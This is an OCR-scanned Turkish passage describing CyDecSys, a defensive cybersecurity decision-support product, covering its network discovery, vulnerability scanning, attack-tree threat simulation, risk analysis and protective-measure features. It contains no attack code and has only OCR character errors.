CyDecSys ile hem iiriine 6zel, hem de acik protokol
(SNMP vb.) tabanh yontemlerle fiziksel ag topolojisi ve
aktif ag cihazi yapilandirmalari otomatik olarak kesfedi-
lebilmektedir. CyDecSys ile olusturulan érnek bir ag to-
poloji diyagrami Sekil 80’de gdsterilmigtir.

14.1.2. ZAFIYET TARAMA

Sekil 80: Ornek CyDecSys topoloji diyagrami.

Aktif tarama yapmak i¢in CyDecSys’de dagitik mimari-
de yUksek performansl zafiyet tarama 6zelligi ilave edil-
mistir. Buna ilave olarak, CyDecSys disinda dogrudan
OpenVAS, Nessus ve Nexpose ile yapiimis tam ag veya
alt aglara ait zafiyet taramalari XML formatindaki raporlar
ile CyDecSys’e aktarilabilmektedir.

14.1.3 ZAFIiYET KUTUPHANESI

Bu kapsamda, zafiyetlerle ilgili farkli kaynaklarda yer
alan farkl kategorilerdeki verileri derlemek ve anlamlan-
dirmak suretiyle CyDecSys zafiyet veri tabani olusturul-
mustur. Farkli kaynaklardaki verilerden bir otomasyon ile
ilk asama veri flzyonu saglanmakta, siber guvenlik uz-
manlari tarafindan yapilan kontroller ile de veri dogrulugu
artinlmaktadir.
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14.1.4. TEHDIT SiIMULASYONU

Diger bir saldirn ylzeyi analiz ydntemi tehdit odakl bakis
acisina dayanmaktadir. Tehdit odakli analiz yéntemin-
de, fakli konumlarda ve farkli yeteneklerde saldirganlar
(tehdit kaynaklari) tanimlanarak sistemdeki zafiyetlerden
hangilerinin istismar edilebilir oldugu anlasiimaya ca-
hsilir. Bu Sekilde, daha 6nce alinmis koruyucu/&nleyici
tedbirler ya da sistem konfiglirasyonlari (givenlik duvari
kurallari gibi) nedeniyle saldirganlar tarafindan mevcut
durumda istismar edilebilir durumda olmayan zafiyetle-
rin giderilmesi icin caba harcanmasi 6nlenerek kaynak
tasarrufu saglanabilir ve istismar edilebilir zafiyetlere 6n-
celik verilebilir.

Tehdit odakli analizin bir diger avantaji ise olusturulacak
saldin agaclan ile sistemdeki zafiyetlerin hangi sirada
ve kag saldin adiminda istismar edilebilir oldugunun or-
taya ¢ikariimasidir. CyDecSys ile dis saldirgan (Hacker)
ve/veya i¢ saldirgan (K6t Niyetli Calisan) olmak lzere iki
farkll saldirgan modeli olusturulabilmekte ve s6z konu-
su saldirganlar icin konum, yetenek, motivasyon vb. pa-
rametreler tanimlanarak bir saldin agaci Uretiimektedir.
CyDecSys tarafindan olusturulan érnek bir saldirn agaci
diyagrami Sekil 81’de gosterilmistir.

Sekil 81: Ornek CyDecSys Saldirn Agaci Diyagrami

14.1.5. RiSK ANALIZI

Bir siber guivenlik karar destek sisteminden beklenen en
oénemli iglevlerden biri de sistem risk analizinin yapilabil-
mesidir. Zafiyet odakl analiz ydntemiyle zafiyetlerin risk
analizinin yapilmasi mimkun iken tehdit odakh bakis
acislyla hem tehditlerin olusturdugu risk tespit edilebil-
mekte, hem de hangi zafiyetler istismar edilerek hangi
varliklarin ele gegcirilebilecegi ortaya konulmaktadir.

Bir diger analiz ydntemi olarak varlik odakl bakis acisiy-
la sistemdeki cihazlarin, alt aglarin, is birimlerinin ya da
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Sekil 82: Ornek CyDecSys Ozet Ekrani

konumlarinin, sistemdeki yazilimlarin, yazilim gruplarinin
ya da yazihm saglayicilarin sistem lzerinde olusturdugu
riskler ortaya konulabilir.

CyDecSys, her U¢ analiz ydntemini de kullanarak, kap-
samli ve farkh perspektiflerden sistem risk analizi
yapilmasina imkan vermektedir. Sistem risklerine iligkin
farkl kategorilerde 6zet bilgi veren érnek bir ekran go6-
rintist Sekil 82°de yer almaktadir.

Sekil 82’te yer alan 6zet ekranla sistemin tUminun,
sistemdeki zafiyetlerin, yazilimlarin, alt aglarn, ci-
hazlarin, is birimlerinin ve konumlarin riskleri ayr ayri
gorulebilmektedir.

Ayni ag icindeki bazi sistemlerde gizlilik daha énemli iken
bazi sistemlerde erisilebilirlik ya da buttnlik daha 6nem-
li olabilmektedir. Bu baglamda, CyDecSys’in risk analizi

-
b
=

Sekil 83: Ornek CyDecSys Ozet Ekrani
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icin sundugu 6nemli bir 6zellik de riskin ortalama risk
skoruna ilave olarak siber giivenligin U¢ temel tasi olan
gizlilik, biitlinliik ve erigilebilirlik siniflar igin ayn ayn
hesaplanmasidir.

CyDecSys, farkli perspektiflerdeki risk analizlerinin te-
mel ve tehdit bazli olmak Uzere iki ana kategoride ele
alinmasina imkan tanimaktadir. Temel risk analizinde
tehdit similasyonu yapilmadan sistemdeki tim zafiyet-
lerin istismar edilebilecegi varsayimiyla risk hesaplama-
si yapllmaktadir. Tehdit bazli risk analizinde ise tanimli
tehditler tarafindan istismar edilebilecek zafiyetler saldir
agaclariyla belirlenmekte ve sadece istismar edilebilir
durumdaki zafiyetler icin CyDecSys risk analizi algorit-
maslyla risk hesaplamasi yapilmaktadir. CyDecSys ile
tespit edilen tehdit bazl cihaz risklerine iligkin bir érnek
ekran goruntisu Sekil 83’te gosterilmistir.
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14.1.6. TEHDIT iSTIHBARAT RISKIi

Bu kapsamda, siber glvenlik uzmanlari icin kritik 6éne-
me sahip tehdit istihbarat riski ve bilgisi, STM Siber
istihbarat Merkezi tarafindan olusturularak CyDecSys
zafiyet veri tabani zenginlestiriimektedir. Bu sayede, za-
fiyetler tehdit istihbarat skoruna gére siralanarak énem
derecelerine goére incelenebilmekte, alarm ekranlar vasi-
tasiyla da siber glvenlik uzmanlari zafiyetler hakkindaki
glincel gelismelerle bilgilendiriimektedir.

NiSAN-HAZIRAN 2019

14.1.7. KORUYUCU ONLEM ANALIZi

CyDecSys ile olusturulan saldir agacinda Sekil 84’te go-
rildigu Gzere saldin adimlar ve saldirlya neden olan za-
fiyetler ayrintili olarak analiz edilebilmekte ve zafiyeti kal-
dirmak icin koruyucu 6nlem alternatifleri sunulmaktadir.
Koruyucu 6nlem uygulandiktan sonra saglanan iyilesme
ya da sistemde devam eden zafiyetlerin ise similasyo-
nu yapilarak optimal fayda getirecek kararin alinmasi
saglanmaktadir.

Sekil 84: Ornek CyDecSys Saldin Agaci Analizi ve Koruyucu Onlem Simiilasyonu Ekrani
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